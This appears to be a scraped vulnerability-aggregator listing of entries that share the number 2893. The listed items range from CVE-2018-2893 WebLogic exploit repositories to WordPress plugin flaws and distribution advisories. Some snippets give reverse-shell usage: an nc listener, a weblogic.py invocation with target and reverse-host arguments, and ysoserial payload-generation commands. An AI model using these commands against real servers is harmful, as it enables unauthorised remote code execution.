CVE-2018-2893

CVE-2018-2893 Can directly bounce a reverse shell Usage Listen nc -lvvp reverseport Send payload python weblogic.py targethost targetport reversehost reverseport Reference bigsizeme pyn3rd Note For testing and learning purposes only, do not use for other purposes...

CVE-2018-2893

This software is for learning and communication purposes only and must not be used for any illegal activities The main purpose of this name is to ride on the popularity of 2893 — a reverse shell generator It is primarily used to generate your own external network nc listening object, hoping to he...

CVE-2018-2893

CVE-2018-2893 Step 1 java -jar ysoserial-cve-2018-2893.jar WHY SO SERIAL? Usage: java -jar ysoserial-version-all.jar payload 'command' Available payload types: Payload Authors Dependencies ------- ------- ------------ JRMPClient @mbechler JRMPClient2 @pynerd JRMPClient3 @pynerd JRMPClient4 @pyner...

CVE-2018-3245

Weblogic-CVE-2018-3245 CVE-2018-3245 0x00 Introduction On October 16 local time, and in the early hours of October 17 Beijing time, Oracle officially released the October Q3 Critical Patch Update CPU, which fixed a Weblogic remote code execution vulnerability CVE-2018-2893 that was not fully...

CVE-2018-2628

CVE-2018-2628 Simple interpretation: https://mp.weixin.qq.com/s?biz=MzU0NzYzMzU0Mw==&mid=2247483673&idx=1&sn=45360b4ed1c95947088121b28cb1e45e&chksm=fb4a21f1cc3da8e748b3ac6e37ac483b917857c2338b9c3f7d315c842157397e7435a7c02bb8rd or...

CVE-2018-2893

CVE-2018-2893 Vulnerability Verification Script Usage python CVE-2018-2893.py 10.10.0.1 7001 Analysis Warning https://www.anquanke.com/post/id/152164 Script Source https://www.secfree.com/article-957.html...

CVE-2018-2893

This repository does not have a README...

MINI-2893-24X9-MXC8

Bulletin has no description...

CVE-2026-2893

creationtimestamp| type| source ---|---|--- 2026-03-05 09:51:06+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3mgcjk2d2qi2z...

EUVD-2026-2893

Sandboxie 5.49.7 contains a denial of service vulnerability that allows attackers to crash the application by overflowing the container folder input field. Attackers can paste a large buffer of repeated characters into the Sandbox container folder setting to trigger an application crash...

RockyLinux 8 : python-mako (RLSA-2023:2893)

The remote RockyLinux 8 host has a package installed that is affected by a vulnerability as referenced in the RLSA-2023:2893 advisory. mako: REDoS in Lexer class CVE-2022-40023 Tenable has extracted the preceding description block directly from the RockyLinux security advisory. Note that Nessus h...

Linux Distros Unpatched Vulnerability : CVE-2020-2893

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Vulnerability in the MySQL Server product of Oracle MySQL component: InnoDB. Supported versions that are affected are 8.0.19 and prior. Easily exploitable...

CVE-2023-2893

The WP EasyCart plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 5.4.8. This is due to missing or incorrect nonce validation on the processdeactivateproduct function. This makes it possible for unauthenticated attackers to deactivate products via ...

CVE-2025-2893

creationtimestamp| type| source ---|---|--- 2025-04-29 07:12:10+00:00| seen| https://t.me/DarkWebInformerCVEAlerts/13794 2025-04-29 07:51:00+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/3lnwsbumh432d 2025-04-29 10:58:35+00:00| seen| https://t.me/cvedetector/23983...

CVE-2025-2893

CVE-2025-2893 affects the WordPress plugin Gutenverse – Ultimate Block Addons and Page Builder for Site Editor (versions up to and including 2.2.1). The issue is a Stored Cross‑Site Scripting (XSS) in the countdown Block caused by insufficient input sanitization and output escaping on user-suppli...

WordPress Gutenverse plugin <= 2.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via countdown Block vulnerability

Authenticated Contributor+ Stored Cross-Site Scripting via countdown Block vulnerability discovered by Webbernaut in WordPress Plugin Gutenverse versions = 2.2.1...

MSC-2024-2893

This package has been identified by Mend as containing potential malicious functionality. The severity of the functionality can change depending on where the library is running user's machine or backend server. The following risks were identified: Contacting external host – this package sends...

CVE-2023-2893 WP EasyCart <= 5.4.8 - Cross-Site Request Forgery via process_deactivate_product

The WP EasyCart plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 5.4.8. This is due to missing or incorrect nonce validation on the processdeactivateproduct function. This makes it possible for unauthenticated attackers to deactivate products via ...

CVE-2023-2893

CVE-2023-2893 affects the WP EasyCart WordPress plugin up to version 5.4.8. Root cause: missing or incorrect nonce validation in the process_deactivate_product function enables CSRF, allowing unauthenticated attackers to deactivate products via forged admin actions. Impact: potential unauthorized...

CVE-2023-2893

The WP EasyCart plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to, and including, 5.4.8. This is due to missing or incorrect nonce validation on the processdeactivateproduct function. This makes it possible for unauthenticated attackers to deactivate products via ...